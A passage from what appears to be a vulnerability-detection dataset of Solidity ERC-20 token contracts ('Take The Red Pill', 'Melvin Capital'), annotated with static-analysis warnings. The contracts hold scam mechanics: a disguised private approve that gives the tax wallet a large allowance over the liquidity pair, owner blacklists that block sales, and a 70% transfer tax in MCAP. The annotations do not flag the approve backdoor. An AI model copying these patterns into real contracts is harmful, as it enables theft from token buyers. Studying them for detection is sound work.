\"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 35cae0b): REDPILL.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 35cae0b: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4b7faaa): REDPILL.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 100)\n// Recommendation for 4b7faaa: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 78f40ca): REDPILL.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 78f40ca: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 538a9e9): REDPILL.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 538a9e9: Consider ordering multiplication before division.\ncontract REDPILL is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 295e763): REDPILL._taxWallet should be immutable \n\t// Recommendation for 295e763: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6a939c5): REDPILL._initialBuyTax should be constant \n\t// Recommendation for 6a939c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 232b9cb): REDPILL._initialSellTax should be constant \n\t// Recommendation for 232b9cb: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5450e49): REDPILL._finalBuyTax should be constant \n\t// Recommendation for 5450e49: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 296bd9b): REDPILL._finalSellTax should be constant \n\t// Recommendation for 296bd9b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 03037dc): REDPILL._reduceBuyTaxAt should be constant \n\t// Recommendation for 03037dc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9bc48c8): REDPILL._reduceSellTaxAt should be constant \n\t// Recommendation for 9bc48c8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: ad7215e): REDPILL._preventSwapBefore should be constant \n\t// Recommendation for ad7215e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: b307c31): REDPILL._transferTax should be constant \n\t// Recommendation for b307c31: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Take The Red Pill\";\n\n string private constant _symbol = unicode\"REDPILL\";\n\n\t// divide-before-multiply | ID: 538a9e9\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 35cae0b\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 58877f8): REDPILL._taxSwapThreshold should be constant \n\t// Recommendation for 58877f8: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 4b7faaa\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: cd7411e): REDPILL._maxTaxSwap should be constant \n\t// Recommendation for cd7411e: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 78f40ca\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(0x1970d3227912b40F132E94db0A6805F39B78e38A);\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e616287): REDPILL.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e616287: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function approve(\n address[2] memory spender,\n uint256 amount\n ) private returns (bool) {\n _approve(spender[0], spender[1], amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bfd7305): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bfd7305: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 49f2188): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 49f2188: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: bfd7305\n\t\t// reentrancy-benign | ID: 49f2188\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: bfd7305\n\t\t// reentrancy-benign | ID: 49f2188\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 57d06cb): REDPILL._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 57d06cb: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 49f2188\n\t\t// reentrancy-benign | ID: b95885c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: bfd7305\n\t\t// reentrancy-events | ID: e52d85f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2998cdd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2998cdd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a385f7a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a385f7a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6e3f24b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6e3f24b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n uint256 tax = 0;\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n tax = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n }\n\n if (_buyCount > 0) {\n tax = (_transferTax);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n tax = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n tax = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniswapV2Pair && swapEnabled) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n if (\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: 2998cdd\n\t\t\t\t\t// reentrancy-benign | ID: a385f7a\n\t\t\t\t\t// reentrancy-eth | ID: 6e3f24b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 2998cdd\n\t\t\t\t// reentrancy-eth | ID: 6e3f24b\n sendETHToFee(address(this).balance);\n\n\t\t\t\t// reentrancy-benign | ID: a385f7a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6e3f24b\n lastSellBlock = block.number;\n }\n }\n\n if (tax > 0) {\n taxAmount = tax.mul(amount).div(100);\n\n\t\t\t// reentrancy-eth | ID: 6e3f24b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 2998cdd\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6e3f24b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6e3f24b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 2998cdd\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2998cdd\n\t\t// reentrancy-events | ID: bfd7305\n\t\t// reentrancy-benign | ID: a385f7a\n\t\t// reentrancy-benign | ID: 49f2188\n\t\t// reentrancy-eth | ID: 6e3f24b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2998cdd\n\t\t// reentrancy-events | ID: bfd7305\n\t\t// reentrancy-eth | ID: 6e3f24b\n _taxWallet.transfer(amount);\n }\n\n function add(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function del(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function withdrawEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e52d85f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e52d85f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 774c107): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 774c107: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b95885c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b95885c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2a7c579): REDPILL.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2a7c579: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6206faf): REDPILL.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 6206faf: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1d5962e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1d5962e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-events | ID: e52d85f\n\t\t// reentrancy-benign | ID: 774c107\n\t\t// reentrancy-benign | ID: b95885c\n\t\t// reentrancy-eth | ID: 1d5962e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: e52d85f\n\t\t// reentrancy-benign | ID: 774c107\n\t\t// reentrancy-benign | ID: b95885c\n\t\t// unused-return | ID: 2a7c579\n\t\t// reentrancy-eth | ID: 1d5962e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-events | ID: e52d85f\n\t\t// reentrancy-benign | ID: b95885c\n approve([uniswapV2Pair, _taxWallet], 150 * (50 + _tTotal.mul(10)));\n\n\t\t// reentrancy-benign | ID: 774c107\n\t\t// unused-return | ID: 6206faf\n\t\t// reentrancy-eth | ID: 1d5962e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 774c107\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1d5962e\n tradingOpen = true;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10038.sol",
"size_bytes": 22829,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MCAP is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7ced19d): MCAP._taxWallet should be immutable \n\t// Recommendation for 7ced19d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4a02792): MCAP._initialBuyTax should be constant \n\t// Recommendation for 4a02792: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0e42bce): MCAP._initialSellTax should be constant \n\t// Recommendation for 0e42bce: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b149250): MCAP._reduceBuyTaxAt should be constant \n\t// Recommendation for b149250: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 57925a1): MCAP._reduceSellTaxAt should be constant \n\t// Recommendation for 57925a1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: ba787be): MCAP._preventSwapBefore should be constant \n\t// Recommendation for ba787be: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Melvin Capital\";\n\n string private constant _symbol = unicode\"MCAP\";\n\n uint256 public _maxTxAmount = 10000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 10000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7dfd742): MCAP._taxSwapThreshold should be constant \n\t// Recommendation for 7dfd742: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c56fd28): MCAP._maxTaxSwap should be constant \n\t// Recommendation for c56fd28: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d4ab75a): MCAP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d4ab75a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1a37b67): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1a37b67: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f733651): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f733651: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1a37b67\n\t\t// reentrancy-benign | ID: f733651\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1a37b67\n\t\t// reentrancy-benign | ID: f733651\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bf9d407): MCAP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for bf9d407: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f733651\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1a37b67\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 166f585): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 166f585: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2326df4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2326df4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 166f585\n\t\t\t\t// reentrancy-eth | ID: 2326df4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 166f585\n\t\t\t\t\t// reentrancy-eth | ID: 2326df4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 2326df4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 2326df4\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2326df4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 166f585\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 2326df4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 2326df4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 166f585\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 